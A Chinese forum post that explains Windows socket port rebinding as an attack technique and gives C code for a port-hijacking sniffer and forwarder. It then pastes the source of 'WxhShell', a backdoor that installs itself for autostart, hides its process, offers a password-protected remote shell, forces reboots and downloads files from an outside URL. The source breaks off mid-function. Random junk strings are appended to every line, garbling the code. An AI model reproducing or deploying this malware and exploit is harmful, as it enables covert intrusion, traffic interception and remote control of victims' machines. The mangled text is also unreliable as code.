社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14786阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ) yRC$7I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O"nY4  
Vt*Duh+4  
  saddr.sin_family = AF_INET; t? yMuK  
>dn[oS,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w'#VN|;;!  
I^ppEgYSY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GK2IY  
3q{H=6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Gq$9he<  
rKP"|+^  
  这意味着什么?意味着可以进行如下的攻击: 2P"@=bYT"  
x.<^L] "  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0[x?Q[~S_0  
'h([Y8p{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )|q,RAn  
RHz'Dz>0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VsNqYFHes&  
!D7 [R'RgY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e(6g|h  
'[{M"S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9L*gxI>  
,iB)8Km@U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [="moh2*f  
GL.& g{$#+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fI t:eKHr  
s"=e (ob  
  #include uZW ?0W  
  #include U]@t\T3W  
  #include 4Q,HhqV'  
  #include    -~p@o1k0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (TDLT^  
  int main() N V^ktln  
  { Z"mpE+U*  
  WORD wVersionRequested; h,\^Sb5AP  
  DWORD ret; pIqPIuy  
  WSADATA wsaData; 1e _V@Vy  
  BOOL val; mdoy1a  
  SOCKADDR_IN saddr; D-8%lGS  
  SOCKADDR_IN scaddr; ouPwhB,bg  
  int err; ~i=/@;wRp  
  SOCKET s; Q{0-pHr}  
  SOCKET sc;  N_=7  
  int caddsize; F C2oP,  
  HANDLE mt; J<H$B +;qR  
  DWORD tid;   m Wsegq4  
  wVersionRequested = MAKEWORD( 2, 2 ); 1x V~EX  
  err = WSAStartup( wVersionRequested, &wsaData ); B@63=a*kG  
  if ( err != 0 ) { EN+WEMro  
  printf("error!WSAStartup failed!\n"); ;#G>qo  
  return -1; rM2?"  
  } Go^W\y   
  saddr.sin_family = AF_INET; vpMNulXb,  
   H2zd@l:R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Km 'd=B>Jy  
VjMd&>G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \V7Hi\)  
  saddr.sin_port = htons(23); 3`5?Zgp  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3 B KW  
  { Ad+-/hxc  
  printf("error!socket failed!\n"); bsR^H5O@  
  return -1; VVYQIR]!yk  
  } @433?g`2b  
  val = TRUE; TXH: +mc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #OJsu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SdYES5aES  
  { :{E3H3  
  printf("error!setsockopt failed!\n"); @:oMlIw;  
  return -1; 49 fs$wr@  
  } <Lyz7R6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |*Z'WUv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |/]bpG'z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qV@xEgW#r  
F'C]OMBE  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X. UN=lu  
  { |2 g }i\  
  ret=GetLastError(); Ipb 4{A&"\  
  printf("error!bind failed!\n"); U :J~O y_Z  
  return -1; hh|'Uq3  
  } !:c7I@  
  listen(s,2); "sUe:F;  
  while(1) yV$p(+KkS  
  { qusgX;)  
  caddsize = sizeof(scaddr); n?YGX W/  
  //接受连接请求 ]Q6,,/nn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c42p>}P[  
  if(sc!=INVALID_SOCKET) JLT':e~PX  
  { 4Q z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bO9F rEz5  
  if(mt==NULL) %UV_ 3  
  { f]J?-ks  
  printf("Thread Creat Failed!\n"); c)rI[P7Q  
  break; kFw3'OZ,  
  } {1#5\t>9yD  
  } 9cQKXh:R.  
  CloseHandle(mt); <Zl0$~B:5  
  } oQjh?vm  
  closesocket(s); v)%EG  
  WSACleanup(); $qP9EZ]JC  
  return 0; s,]6Lri`\  
  }   nC_<pq^tr  
  DWORD WINAPI ClientThread(LPVOID lpParam)  vF]?i  
  { ! r.X.C  
  SOCKET ss = (SOCKET)lpParam; cd) <t8^KE  
  SOCKET sc; (xG#D;M0  
  unsigned char buf[4096]; FOquQr1cF  
  SOCKADDR_IN saddr; zOg#=ql  
  long num; M\enjB7k  
  DWORD val; 4AZlr*U  
  DWORD ret; 3543[W#a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {pd%I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pZlBpGQf  
  saddr.sin_family = AF_INET; %vxd($Ti"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zc*qmb  
  saddr.sin_port = htons(23); P]yER9'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _&19OD%  
  { I]~xs0$4#  
  printf("error!socket failed!\n"); rv9qF |2r{  
  return -1; qWw@6VvoQ  
  } "h2;65@  
  val = 100; }{bO ~L7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PcM:0(,G  
  { n!ea)+^  
  ret = GetLastError(); r1}7Q7-z  
  return -1; u32wS$*8  
  } 44kY[jhf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lY?TF  
  { jMW|B  
  ret = GetLastError(); rYJt;/RtR}  
  return -1; ENA8o}n  
  } L7X._XBO[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TcauCL  
  { Af5In9WB5  
  printf("error!socket connect failed!\n"); A!Xn^U*p  
  closesocket(sc); y;;^o6Gnw  
  closesocket(ss); !xj>~7  
  return -1; ZH0 ~:  
  } ?mG ?N(t/h  
  while(1) i*.Z~$  
  { LL9I:^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {Y` 0}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rya4sxCh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EpOVrk  
  num = recv(ss,buf,4096,0); 6;*tw i  
  if(num>0) @#*B|lHE  
  send(sc,buf,num,0); R?Iv<(I  
  else if(num==0) 68;,hS*|6  
  break; x03GJy5  
  num = recv(sc,buf,4096,0); ] A<\ d  
  if(num>0) VF<{Qx*  
  send(ss,buf,num,0); B,e@v2jO|  
  else if(num==0) j(va# f#  
  break; ;6fkG/T  
  } SY>N-fW\H:  
  closesocket(ss); `S;pn+5  
  closesocket(sc); v*FCE 1HI  
  return 0 ; S9U9;>g  
  } Nf<([8v;t  
q^(A6W  
*M"lUw#(f  
========================================================== sBwkHsDD  
<ywxz1i  
下边附上一个代码,,WXhSHELL fCx~K'UWn  
9I]*T  
========================================================== OFQsfW3O  
NawnC!~ $  
#include "stdafx.h" b:Rl }"a  
%#/7Tl:  
#include <stdio.h> ;,Lq*x2s  
#include <string.h> s8 .oS);`  
#include <windows.h> hCW8(Zt  
#include <winsock2.h> Gx'mVC"{  
#include <winsvc.h> i"Ct}7i  
#include <urlmon.h> "W\ #d  
T(J&v|FK  
#pragma comment (lib, "Ws2_32.lib") gbXzD`WQ  
#pragma comment (lib, "urlmon.lib") [#lPT'l  
DFE?H  
#define MAX_USER   100 // 最大客户端连接数 @@SG0YxZ  
#define BUF_SOCK   200 // sock buffer A' dt WD  
#define KEY_BUFF   255 // 输入 buffer WdunI~&.  
rh$%*l  
#define REBOOT     0   // 重启 dYf Vox;  
#define SHUTDOWN   1   // 关机 ]7h&ZF  
A n/)|B4  
#define DEF_PORT   5000 // 监听端口 ZLE4 XB]  
s49 AF  
#define REG_LEN     16   // 注册表键长度 w y:USS?  
#define SVC_LEN     80   // NT服务名长度 zcIZJVYA  
r4!zA-{  
// 从dll定义API ]%>;R^HY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0BxO75m}o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xjR/K&[m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L|!9%X0.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MJ}VNv|S  
,^AkfOY7"  
// wxhshell配置信息 (Q#A Br8  
struct WSCFG { CFRo>G  
  int ws_port;         // 监听端口 <Ni]\-*  
  char ws_passstr[REG_LEN]; // 口令 }{j[  
  int ws_autoins;       // 安装标记, 1=yes 0=no 47ir QK*  
  char ws_regname[REG_LEN]; // 注册表键名 5:^dyF&sm{  
  char ws_svcname[REG_LEN]; // 服务名 MFE~bU(h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q'$aFl'NR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zzq/%jki  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?w3f;v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JK[7&C-O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t?YGGu^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 olK%TM[Y  
/oe="/y6  
}; b*?="%eE(  
1eiH%{w  
// default Wxhshell configuration ug UV`5w   
struct WSCFG wscfg={DEF_PORT, TyGXDU  
    "xuhuanlingzhe", BR"*-$u0;  
    1, /F/`?=1<$  
    "Wxhshell", i&"I/!3Q@  
    "Wxhshell", 3YA !2  
            "WxhShell Service", urXM}^  
    "Wrsky Windows CmdShell Service", iwrdZLE  
    "Please Input Your Password: ", l ^\5Jr03  
  1, LLaoND6  
  "http://www.wrsky.com/wxhshell.exe", ]J_Dn\  
  "Wxhshell.exe" 2E=E!Zwt_  
    }; < 8WS YZ  
s&8QRI.  
// 消息定义模块 ?z Ms;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `9b D%M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <(s+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s{< rc>  
char *msg_ws_ext="\n\rExit."; (W*yF2r  
char *msg_ws_end="\n\rQuit."; o7]h;Zg5r  
char *msg_ws_boot="\n\rReboot..."; w;>]L.n  
char *msg_ws_poff="\n\rShutdown..."; Dve5Ml-  
char *msg_ws_down="\n\rSave to "; #t3j u^ |?  
.\*\bvyCw  
char *msg_ws_err="\n\rErr!"; Lrr6z05FQ  
char *msg_ws_ok="\n\rOK!"; B6$s*SXNp  
gy9!T(z  
char ExeFile[MAX_PATH]; pS0-<-\R  
int nUser = 0; hvZW~ =75  
HANDLE handles[MAX_USER]; i"sVk8+o!  
int OsIsNt; C.pNDpx-  
(w"zI!  
SERVICE_STATUS       serviceStatus; d3^LalAp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ha4?I$'$  
#Cbn"iYee  
// 函数声明 Z-]d_Y~m4  
int Install(void); 36&7J{MU  
int Uninstall(void); @: %}clZ  
int DownloadFile(char *sURL, SOCKET wsh); kTs)u\r.  
int Boot(int flag); :~U1JAs$  
void HideProc(void); !=k\Rr@qx  
int GetOsVer(void); F;`of  
int Wxhshell(SOCKET wsl); qXP)R/~OZ  
void TalkWithClient(void *cs); ?G.9D`95  
int CmdShell(SOCKET sock); >.J68 x  
int StartFromService(void); CaZEU(i  
int StartWxhshell(LPSTR lpCmdLine); C+-~Gmrb(7  
VY~WkSi[<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }_5z(7}3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^>[DG]g  
q& 4Z.(  
// 数据结构和表定义 LdVGFlcXi  
SERVICE_TABLE_ENTRY DispatchTable[] = r")=Z1y  
{ VaSw}q/o:/  
{wscfg.ws_svcname, NTServiceMain}, o"QpV >x  
{NULL, NULL} j!m~ :D  
}; wF3mQ_hv:@  
NjsP"  
// 自我安装 ^vsOlA(4  
int Install(void) N-K.#5  
{ *w> /vu  
  char svExeFile[MAX_PATH]; U{eC^yjt"o  
  HKEY key; IO]Oo3  
  strcpy(svExeFile,ExeFile); ckN/_ u3  
LF*3Iw|v  
// 如果是win9x系统,修改注册表设为自启动 BniFEW:<  
if(!OsIsNt) { <m UDx n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?aO%\<b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _lyP7$[: c  
  RegCloseKey(key); %aL>n=$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { My_fm?n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4ol=YGCI_  
  RegCloseKey(key); k]; <PF  
  return 0; sks_>BM  
    } 2tn%/gf'm  
  } BQ_\8Qt|  
} R!}B^DVt  
else { uyjZmT/-  
EX8]i,s|E  
// 如果是NT以上系统,安装为系统服务 7fnKe2M M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |]r# IpVf  
if (schSCManager!=0) fbo64$!hZ  
{ `acorfpi  
  SC_HANDLE schService = CreateService vaR0`F  
  ( ,ulNap"R  
  schSCManager, eQ9{J9)?  
  wscfg.ws_svcname, br$!}7#=L  
  wscfg.ws_svcdisp, ^Fb"Is#S,  
  SERVICE_ALL_ACCESS, YVu8/D@ o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y%E R51+  
  SERVICE_AUTO_START, (IJf2  
  SERVICE_ERROR_NORMAL, $_)YrqSo~  
  svExeFile, n'4D;4  
  NULL, |[k6X=5  
  NULL, J8? 6yd-7  
  NULL, ;hd> v&u#  
  NULL, % k$+t  
  NULL t$Irr*  
  ); B>a`mFM  
  if (schService!=0) ]~kqPw<R  
  { >{Lfrc1  
  CloseServiceHandle(schService); #J^p,6  
  CloseServiceHandle(schSCManager); D|9B1>A,m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y^M'&@F  
  strcat(svExeFile,wscfg.ws_svcname); Y5ebpw+B-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pok,`yW\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V~e1CZ(2X  
  RegCloseKey(key); 0#Rj[J;kh  
  return 0; zS?i@e $  
    } rhNdXYY>  
  } K=`*cSU>  
  CloseServiceHandle(schSCManager); PMXnupt  
} {} vl^b  
} JB b}{fo~  
UPN2p&gM  
return 1; dVe3h.,[v  
} K7e<hdP_#  
=Ee f  
// 自我卸载 u!L8Sv  
int Uninstall(void) PO)5L  
{ `yuD/-j  
  HKEY key; DB?_E{y]  
<JZ=K5  
if(!OsIsNt) { L=HL1Qe$G]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C .YtjLQP$  
  RegDeleteValue(key,wscfg.ws_regname); rw+0<r3|K  
  RegCloseKey(key); nR"k %$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /0SPRf}p  
  RegDeleteValue(key,wscfg.ws_regname); |U7{!yy%MF  
  RegCloseKey(key); 3P-#NL  
  return 0; &Lq @af#  
  } O]{H2&k@  
} BLMcvK\9  
} BKvF,f/g  
else { wJ IJPYTK  
s/ZOA[Yux  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %R&3v%$y*  
if (schSCManager!=0) OtQKDpJq  
{ UK& E#i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /!AdX0dx  
  if (schService!=0) b[RBp0]x  
  { ch : 428  
  if(DeleteService(schService)!=0) { {' r(P&  
  CloseServiceHandle(schService); JmN;v|wF:c  
  CloseServiceHandle(schSCManager); eTrGFe!8w  
  return 0; }[i35f[w  
  } y)(SS8JR  
  CloseServiceHandle(schService); \V: _Zs  
  } A9lqVMp64  
  CloseServiceHandle(schSCManager); rZpc"<U  
} YrZAy5\  
} cMK6   
o5Qlp5`:u  
return 1; )]qFI"B7  
} c1:op@t  
G9V zVx#T#  
// 从指定url下载文件 CqrmdWN  
int DownloadFile(char *sURL, SOCKET wsh) cRU.   
{ ]/d2*#  
  HRESULT hr; Th,2gX9  
char seps[]= "/"; |ZRl.C/e  
char *token; hj4A&`2  
char *file; 9 lA YCsX  
char myURL[MAX_PATH]; ?hDEFW9&^x  
char myFILE[MAX_PATH]; \vm'D'9  
c#{<| .  
strcpy(myURL,sURL); F1%' zsv  
  token=strtok(myURL,seps); 7g&_`(  
  while(token!=NULL) OQ[>s(`*{  
  { (<%i8xu 2  
    file=token; SAo"+%  
  token=strtok(NULL,seps); Y{p *$  
  } [;I.aT}R!;  
~r=TVHjqi  
GetCurrentDirectory(MAX_PATH,myFILE); |: nuT$(  
strcat(myFILE, "\\"); :;??!V  
strcat(myFILE, file); >Zmpsa+  
  send(wsh,myFILE,strlen(myFILE),0); fDbs3"H Q  
send(wsh,"...",3,0); m+uh6IqN./  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G.oaDGy  
  if(hr==S_OK) E,C<ox4e  
return 0; fylaH(LER  
else \t!+]v8f8  
return 1; 3:=XU9p)x  
?58pkg J  
} ^i:%;oeG  
4Nq n47|>e  
// 系统电源模块 +d'h20  
int Boot(int flag) {z.}u5N  
{ 4 6e;UUf!d  
  HANDLE hToken; j|? bva\  
  TOKEN_PRIVILEGES tkp; \sRRLDj%  
<F=j6U7   
  if(OsIsNt) { b0KorUr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^k-H$]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yyA/x,  
    tkp.PrivilegeCount = 1; 5h20\b?=$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ff:&MsA|,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8{d`N|k  
if(flag==REBOOT) { T-5T`awf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >StvP=our  
  return 0; 1eb1Lvn  
} =,0E3:X^  
else { q_oYI3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ap97Zcw  
  return 0; ".w*_1G7U  
} :Z< 5iLq  
  } 3'.OghI  
  else { 8^4X/n  
if(flag==REBOOT) { jN*A"m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (U7%Z<  
  return 0; o[cKh7&+  
} LRbevpZ,  
else { WO}JIExy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a .] !  
  return 0; Z;n}*^U  
} U7ajDw  
} B8TI 5mZ4  
iK.MC%8?  
return 1; Dt +"E  
} g~V{Ca;}  
CMF1<A4]  
// win9x进程隐藏模块 r/{VL3}F_e  
void HideProc(void) "3hw]`a}  
{ %@r h\Z  
X He=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `__CL )N|  
  if ( hKernel != NULL ) ?Z14l0iZ%d  
  { ' !_44  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U}qW9X;o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iSsy_ |  
    FreeLibrary(hKernel); 3cfkJ|fuwe  
  } O%+:fJz6wI  
MA1,;pv6  
return; %{Ls$Y)  
} >w*"LZjTTK  
|]`+@K,S  
// 获取操作系统版本 'wQ=b  
int GetOsVer(void) sJ0y3)PQ  
{ # =322bnO  
  OSVERSIONINFO winfo; ^qk$W? pX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \T[*|"RFZ  
  GetVersionEx(&winfo); chiQ+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ar):D#D  
  return 1; }& 1_gn15  
  else J#X7Ss  
  return 0; 3~ZtAgih%  
} :X$&g sT/,  
Az)P&*2:'`  
// 客户端句柄模块 ;N/c5+  
int Wxhshell(SOCKET wsl) -m+2l`DLy  
{ ^ #Wf  
  SOCKET wsh; Hu'c )|~f  
  struct sockaddr_in client; \Xkx`C  
  DWORD myID; i3Ffk+ |b  
l"cO@.T3  
  while(nUser<MAX_USER) \dfq& oyU\  
{ =a {Z7W  
  int nSize=sizeof(client); }`h}h<B(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gB0)ec 0  
  if(wsh==INVALID_SOCKET) return 1; 7)a=B! 8M  
A+ f{j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *v 8 ]99N  
if(handles[nUser]==0) -J[D:P.Z  
  closesocket(wsh); a.Mp1W  
else ;pULJ}rDb  
  nUser++; O}KT>84M  
  } Xz5=fj&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VyI%^S ]sS  
.KB*u*h  
  return 0; z.jGVF4  
} MT V'!Zxs  
/`'50C j  
// 关闭 socket fO:*85 %}7  
void CloseIt(SOCKET wsh) zY#U]Is  
{ 6?Ks H;L9  
closesocket(wsh); {2q   
nUser--; F.\]Hqq  
ExitThread(0); ++kiCoC  
} ,)QmQ ^/  
PDir?'  
// 客户端请求句柄 ;=n7 Z  
void TalkWithClient(void *cs) 9:kb0oBa?l  
{ 8F@6^9C  
(Ux%7H_d  
  SOCKET wsh=(SOCKET)cs; $ &^ ,(z9  
  char pwd[SVC_LEN]; yx}:Sgv%  
  char cmd[KEY_BUFF]; lRO8}XSI  
char chr[1]; i>rn!?b  
int i,j; ^%<v| Y(X  
> *_?^F_  
  while (nUser < MAX_USER) { _>aesp%  
ZPMEN,Dw  
if(wscfg.ws_passstr) { r@!~l1$s`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F_-yT[i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =-q)I[4#  
  //ZeroMemory(pwd,KEY_BUFF); =djzE`)0  
      i=0; {#;6$dU;(  
  while(i<SVC_LEN) { BHK_=2WYz  
vAVoFL  
  // 设置超时 GN>T }  
  fd_set FdRead; +V'Z%;/  
  struct timeval TimeOut; WK=!<FsC$  
  FD_ZERO(&FdRead); 1/{:}9Z@  
  FD_SET(wsh,&FdRead); 2HTZ, W  
  TimeOut.tv_sec=8; I@z{G r  
  TimeOut.tv_usec=0; '<Vvv^Er  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6 =kd4'yV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]c5Shj5|p  
-\I0*L'$|\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +fwq9I>L  
  pwd=chr[0]; uj]GBo=  
  if(chr[0]==0xd || chr[0]==0xa) { ?Rwn1.Z  
  pwd=0; F1+2V"~  
  break; \e=@h!p  
  } P_?1Rwm-45  
  i++; [lnN~#(Y  
    } T[7DJNdG6  
*".7O*jjV  
  // 如果是非法用户,关闭 socket 59ivL6=3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BPPhVE  
} 7;_5 [_  
Y Jv{Z^;M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I%(+tJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3oIoQj+D  
B02~/9*Y"  
while(1) { )V>FU=  
:N[2*.c[  
  ZeroMemory(cmd,KEY_BUFF); \UE9Ff+{  
hrW.TwK  
      // 自动支持客户端 telnet标准   &3^40s/+  
  j=0; a{8GT2h`4  
  while(j<KEY_BUFF) { wj?f r?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oFsMQ Py  
  cmd[j]=chr[0]; /!E /9[V  
  if(chr[0]==0xa || chr[0]==0xd) { y.~5n[W  
  cmd[j]=0; <8y8^m`P9  
  break; 6[CX[=P30  
  } D ,)~j6OG8  
  j++; BHU[Rz7x  
    } wY=ky629  
s+CWyW@  
  // 下载文件 E+01"G<Q  
  if(strstr(cmd,"http://")) { lz>5bR'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xCQ<G{;C  
  if(DownloadFile(cmd,wsh)) _&:o"""Wf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JhD8.@} b~  
  else 56v<!L5%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HL)1{[|`  
  } EU\1EBT^  
  else { *$s)p>  
l9<+4rK2  
    switch(cmd[0]) { `  ^6}Dn  
  p]>bN  
  // 帮助 F6 UOo.L)I  
  case '?': { !",@,$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  CZuxH  
    break; YGNX+6Lz  
  } zxj!ihs<  
  // 安装 2AlLcfAW  
  case 'i': { cAL&>T  
    if(Install()) s_kI\w4(x1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g%+nMjif  
    else |{_%YM($  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5]F9o9]T  
    break; ?hwQY}   
    } ) wGC=,  
  // 卸载 SC!IQ80H#D  
  case 'r': { ~svu0[Vx  
    if(Uninstall()) aN7u j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aTPpE9Pa&  
    else vCi:c Ip/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d }]b  
    break; 5}By2Tx  
    } K@d`jb4T  
  // 显示 wxhshell 所在路径 ElYHA  
  case 'p': { BY 1~\M  
    char svExeFile[MAX_PATH]; S#""((U$  
    strcpy(svExeFile,"\n\r"); CsE|pXVG  
      strcat(svExeFile,ExeFile); HPgMVp'  
        send(wsh,svExeFile,strlen(svExeFile),0); WUxr@0  
    break; p;B +g X  
    } Y /w vn8~C  
  // 重启 jRBx7|ON  
  case 'b': { ^ZV xBQKg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;Lu}>.t  
    if(Boot(REBOOT)) 9\"~G)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 HEl1FK{@  
